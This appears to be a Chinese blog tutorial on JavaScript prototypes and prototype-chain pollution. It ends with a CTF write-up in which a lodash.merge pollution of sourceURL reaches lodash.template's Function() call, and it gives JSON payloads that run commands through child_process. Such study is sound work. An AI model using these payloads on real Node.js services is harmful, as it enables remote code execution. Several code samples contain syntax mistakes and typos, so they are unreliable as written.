js原型链污染
前言:js 和 ActionScript3 有些像。定义类都是以构造函数的方式来定义的。
prototype 和 proto 的定义。
function test() {
this.conslog('111')
}
new test()
当然 ECS6 增加了 class
语法(其实只是一个语法糖罢了,跟 python 的列表推导式性质一样)
class Test {
//用来初始化类(当然也可以调用父类的构造函数)
constructor() {
this.log = function (message) {
console.log(message)
}
}
}
const myTest = new Test()
myTest.log('111')
但是这样其实有个问题,每当我们新建一个 Test 对象时,this.log = function就会调用一次
, 其实意味着,每当我们创建一个新的 Test 实例时,都会创建一个新的 log 函数,这样多个实例每个都有自己的 log 函数副本,这样不仅会导致 内存滥用
,还不易于 维护管理
。这个时候就要使用(prototype)了。
class Test {
constructor() {
this.var = 1
}
}
Test.prototype.log = function log() {
console.log(this.var)
}
let test = new Test()
test.log()
prototype
原型对象:每个 JavaScript 函数都有一个 prototype 属性,指向一个对象,这个对象称为原型对象。当你使用 new 关键字从构造函数创建对象时,这些对象会从构造函数的原型对象继承属性和方法。
其实很好理解,其实就是一个类里面的其他方法 (因为这个类先初始化了,所以其他方法可以访问初始化定义的属性(变量)或方法(函数)。)
class Hip_hop {
constructor(name) {
this.name = name
}
say() {
console.log(this.name)
}
}
class Hip_hop_god extend Hip_hop {
constructor(name,album) {
this.album = album
super(name)
}
rap() {
console.log('${this.name}的${this.album}是一张神专')
}
}
const Ye = new Hip_hop_god('Kanye_West','ye')
Ye.say()
Ye.rap()
//Kanye_West
//Kanye_West的ye是一张神专
现在有一个问题,我们能通过 prototype 来访问原型,但是无法继承由原型已经实例化的对象,所以要用到 proto 方法
一个 Foo 类实例化出来的 foo 对象,可以通过 foo.proto 属性来访问 Foo 类 的原型
foo.__proto__ = Foo.prototype => 对象.proto=构造器(构造函数).prototype
- prototypie 是一个类的属性,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法
- proto 是每一个类所有的方法,指向这个对象所在类的 prototype 属性。
- 小知识:类是定义,对象是实体,实例化是创建实体的过程。类提供了创建对象的详细蓝图,对象是这些蓝图的具体实现,实例化则是将类从理论转化为实际的机制。
javascript 的原型链继承
以一个简单的例子来看:
function Kanye_West() {
this.name = 'kanye'
this.album = 'College_Drop_out'
}
function Ye_West() {
this.name = 'ye'
}
Ye_West.prototype = new Kanye_West()
let god = new Ye_West()
console.log(`god's name is ${god.name},his first album is ${god.album}`)
对于对象 Ye_West,在调用 Ye_West.album 的时候,实际上 JavaScript 引擎会进行如下操作:
- 在对象 Ye_West 中寻找 album
- 如果找不到,则在 Ye_West.proto 中寻找 album
- 如果仍然找不到,则继续在 Ye_West._proto_.proto 中寻找 album
- 依次寻找,直到找到 null 结束。比如,
Object.prototype的__proto__就是null
原型链污染
这里一样的还是来一个例子。一个没有父类的类 test 的 test.__proto_ 是 Object, 即 test 是一个 Object 类的实例_
适用原型链污染的情况
- merge() 深度合并
- clone() 其实就是将待操作的对象 merge 到一个空对象中
function merge(target,source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]) //递归调用
} else {
target[key] = source[key]
}
}
}
其实就是找能够控制数组(对象)的“键名”的操作来使用 __proto__
__核心操作__:target [key] = source [key],如果我们把 source 里面的一个键值对的键换成‘__proto__’
来个例子:
合并成功但是污染失败:
原因:首先要明确的一点是:我们要的效果是 a.__proto__.b = 2, 这样才能污染到 Object 层。
看图,很清晰的能明白,如果使用:let o2 = {a: 2,”__proto__”:{b: 1}}, 则效果是:o2[__proto__] = {b: 1},意思是 o2 的原型就是{b: 1}而不是 Object 了。
那就很简单了,JSON 解析的情况下,proto 会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历 o2 的时候会存在这个键。
例题:thejs 来看:
源码: https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// ...
const lodash = require('lodash')
// ...
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
//...
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
lodash 的 merge 有漏洞,根据以下构造 payload (记得把x-www-form-urlencoded
改成json
)
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
Function 其实有点像 eval
{“__proto___”: {“ sourceURL “: “\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];}return global.process.mainModule.constructor._load(‘child_process’).execSync(‘whoami’)}\u000a//“}}
\u000a
: 换行符,可以让代码另起一行重新开始运行。for (var a in {}) {delete Object.prototype[a];}
: 环境不隔离的情况删掉属性,现在单独靶机的情况没什么用了。\u000a//
: 为了把这个格式注释掉,只留下我们的 payloadsourceURL + 'return ' + source
{"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}
//或者
{"__proto__": {"sourceURL": "\u000areturn ()=>{return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}
最后的最后
express 框架能够通过 Content-Type 来解析请求 Body
ps:express+ejs 相当于 flask + jinja2 , 洞一大堆。
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html